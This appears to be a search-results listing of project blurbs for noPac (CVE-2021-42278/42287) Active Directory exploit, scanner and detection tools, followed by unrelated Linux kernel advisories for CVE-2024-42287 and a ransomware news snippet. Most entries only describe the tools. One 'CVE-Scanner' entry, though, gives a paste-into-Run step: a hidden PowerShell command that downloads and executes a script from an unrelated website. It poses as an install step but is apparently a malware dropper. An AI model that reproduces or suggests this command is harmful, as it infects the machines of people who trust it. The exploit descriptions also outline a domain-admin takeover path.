noPac

noPac CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter. Yet another low effort domain user to domain admin exploit. If a Domain Controller is vulnerable it will return a TGT without a PAC, all eyes on small size tickets. Mitigation Patch your Domain Controllers! Credits Charlie Clark for his...

sam-the-admin

Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Known issues it will not work outside kali , i will update it later on : Check out CVE-2021-42287/CVE-2021-42278 Weaponisation sAMAccountName spoofing...

noPac

About Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. options: -h, --help show this hel...

noPac-detection

About Detection script for CVE-2021-42278 and CVE-2021-42287 Usage The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h, --help show this help message...

noPac

noPac This project originated from studying the principle of noPac, with some modifications based on the cube0x0 project. Personal understanding comments have been added to the source code. Removed the Scan functionality, as I found it to be of limited use. Added a check for the MachineAccountQuo...

CVE-Scanner

CVE-Scanner 🔍 CVE-Scanner is a tool designed to scan and exploit vulnerabilities associated with CVE-2021-42287, CVE-2021-42278, and other security issues. This project aims to provide security professionals and researchers with a straightforward method to identify and mitigate risks in their...

Invoke-sAMSpoofing

Invoke-sAMSpoofing CVE-2021-42287/CVE-2021-42278 exploits in powershell Table of content Overview Menu Screenshots References Overview A simple script to attack AD with CVE-2021-42287/CVE-2021-42278 exploits automatically. Menu Invoke-sAMSpooofing Invoke-GoldenTicket Invoke-GoldenTips...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/OTHER Scanner & Exploiter. Install 1. Press WIN + R 2. Copy and paste the code below and press enter powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. Restart your PC Usage 1. open C...

Invoke-noPac

Invoke-noPac The .Net assembly is based on my fork https://github.com/ricardojba/noPac that has a few code changes to improve upon the original. PowerSharpPack style .Net Assembly loader for the CVE-2021-42287 - CVE-2021-42278 Scanner & Exploit noPac. Usage: Set-PSReadlineOption -HistorySaveStyle...

noPac

noPac Explotando CVE-2021-42278 y CVE-2021-42287 El proyecto original noPac puede tener algunos problemas de implementación, que impidieron que funcionara localmente, por lo que se modificó consultando el proyecto sam-the-admin. Uso pip3 install -r requirements.txt GetShell python3 exp.py...

noPac

About NoPac exploit, exploiting some old vulnerabilities CVE-2021-42278 and CVE-2021-42287 to impersonate a domain admin from a standard user. No more annoying dependencies, just a single binary holy shit i love Go, Python could NEVER. The -shell flag just spawns impacket-smbexec. You can also ju...

CVE-2026-42287

creationtimestamp| type| source ---|---|--- 2026-05-08 22:55:27+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mlet7jh4en2e...

Amazon Linux 2 : kernel, --advisory ALAS2KERNEL-5.10-2025-084 (ALASKERNEL-5.10-2025-084)

The version of kernel installed on the remote host is prior to 5.10.224-212.876. It is, therefore, affected by multiple vulnerabilities as referenced in the ALAS2KERNEL-5.10-2025-084 advisory. In the Linux kernel, the following vulnerability has been resolved: scsi: mpi3mr: Bad drive in topology...

Amazon Linux 2 : kernel, --advisory ALAS2KERNEL-5.4-2025-095 (ALASKERNEL-5.4-2025-095)

The version of kernel installed on the remote host is prior to 5.4.282-194.378. It is, therefore, affected by multiple vulnerabilities as referenced in the ALAS2KERNEL-5.4-2025-095 advisory. In the Linux kernel, the following vulnerability has been resolved: netfilter: nftables: use timestamp to...

Linux Distros Unpatched Vulnerability : CVE-2024-42287

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Complete command early within lock A crash was observed while performing NPIV...

CBL Mariner 2.0 Security Update: kernel (CVE-2024-42287)

The version of kernel installed on the remote CBL Mariner 2.0 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the CVE-2024-42287 advisory. - In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Complete command early...

CVE-2024-42287 affecting package kernel for versions less than 5.15.167.1-1

CVE-2024-42287 affecting package kernel for versions less than 5.15.167.1-1. An upgraded version of the package is available that resolves this issue...

CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub

The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...

AZL-48975 CVE-2024-42287 affecting package kernel for versions less than 5.15.167.1-1

In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Complete command early within lock A crash was observed while performing NPIV and FW reset, BUG: kernel NULL pointer dereference, address: 000000000000001c PF: supervisor read access in kernel mode PF:...

CVE-2024-42287

In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Complete command early within lock A crash was observed while performing NPIV and FW reset, BUG: kernel NULL pointer dereference, address: 000000000000001c PF: supervisor read access in kernel mode PF:...